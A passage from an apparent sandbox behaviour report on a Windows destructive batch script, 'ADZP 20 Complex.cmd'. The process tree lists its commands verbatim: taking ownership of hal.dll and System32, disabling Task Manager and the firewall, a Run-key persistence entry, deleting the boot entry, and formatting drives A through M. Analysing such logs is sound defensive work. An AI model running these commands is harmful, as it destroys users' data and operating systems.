        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Modifies file permissions
        
        PID:11168
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        
        PID:12644
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:13080
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:1836
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:5648
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:3496
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:12380
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:13228
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5088
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:6364
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:6380
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:6388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:6416
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:6620
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:7392
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8156
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4764
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:7060
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:8388
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7436
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8548
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8852
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8920
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:1132
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Possible privilege escalation attempt
        
        PID:6072
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:8992
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:3520
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:1196
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10120
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:8888
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:6088
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:6568
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9432
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:6264
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10304
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10452
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10532
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:8000
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:8096
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:11036
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:10968
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:10048
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:7340
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:10892
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:2312
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:4248
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:224
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Modifies file permissions
        
        PID:11860
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Modifies file permissions
        
        PID:12196
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:524
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:3604
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:3456
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:4036
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:11076
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers" /r
      4⤵
      Possible privilege escalation attempt
      PID:10020
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:6444
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:6592
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:6680
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:6704
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Modifies file permissions
    PID:7024
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:7520
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    - Views/modifies file attributes
    PID:6680
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:7280
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:8112
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:7216
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:7260
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4472
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6656
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:7648
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:8800
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:8948
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:6720
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:8292
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:9008
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:5076
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:8208
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:8932
- - C:\Windows\system32\format.com
    format /y /q K:
    3⤵
    PID:688
- - C:\Windows\system32\format.com
    format /y /q L:
    3⤵
    PID:2728
- - C:\Windows\system32\format.com
    format /y /q M:
    3⤵
    PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:7640
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:10320
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:10576
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:10964
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:6924
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:11816
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:11816
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:8212
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5512
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:716
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:7068
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:5552
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:9428
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      PID:10004
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:4216
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:11688
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:7948
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5064
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:7648
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:4340
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:2248
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:10280
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:10632
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      PID:11316
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:11668
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:12000
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:1280
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:2348
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4488
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:9208
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\bdaplgin.ax"
    3⤵
    - Possible privilege escalation attempt
    PID:8348
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\bdaplgin.ax" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:7928
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\bdaplgin.ax"
    3⤵
    - Views/modifies file attributes
    PID:8932
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\g711codc.ax"
    3⤵
    - Modifies file permissions
    PID:8996
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\g711codc.ax" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:8880
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\g711codc.ax"
    3⤵
    - Views/modifies file attributes
    PID:2352
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\ksproxy.ax"
    3⤵
    - Possible privilege escalation attempt
    PID:5996
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ksproxy.ax" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:10168
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\ksproxy.ax"
    3⤵
    - Views/modifies file attributes
    PID:9352
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\kstvtune.ax"
    3⤵
    - Modifies file permissions
    PID:10744
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\kstvtune.ax" /reset /c /q
    3⤵
    PID:11152
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\kstvtune.ax"
    3⤵
    - Views/modifies file attributes
    PID:9404
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\Kswdmcap.ax"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:12036
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\Kswdmcap.ax" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:1156
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\Kswdmcap.ax"
    3⤵
    - Views/modifies file attributes
    PID:4820
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:3048
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:4188
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:3248
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:5044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:4592
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:5856
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    PID:5924
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:5940
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:6032
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    PID:6076
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    - Views/modifies file attributes
    PID:6092
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:1248
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5620
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:1748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:6000
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Possible privilege escalation attempt
      PID:6056
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:5440
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:6036
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    - Views/modifies file attributes
    PID:6136
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2976
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4564
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2024
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5408
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5556
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5236
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5212
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3248
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5700
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:6824
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:7304
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:7408
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:7228
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8340
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8740
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:8832
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:6932
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5112
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9012
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:5512
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:1540
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Possible privilege escalation attempt
        
        PID:408
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:3856
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:8584
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:1584
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10516
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10648
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10664
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10864
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:11000
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11132
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:7104
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9548
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:5800
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:11196
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:1316
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:4744
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:12516
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:12772
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:6924
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:7040
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:7060
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:7076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:6136
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:6724
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:4808
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:7256
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8816
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:8912
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8996
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9088
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2384
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:5772
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:5976
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5192
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:8212
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:5572
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:10612
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:3108
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9940
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:3992
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:12424
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:12700
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:12888
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:13040
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:13256
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:6112
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:6320
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:6444
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:7308
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:7232
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7408
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8396
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:8956
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:9036
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:5228
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4744
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1572
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:220
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:2184
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        
        PID:9604
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:1624
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:716
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:11724
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:7652
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:7752
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:7876
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:7952
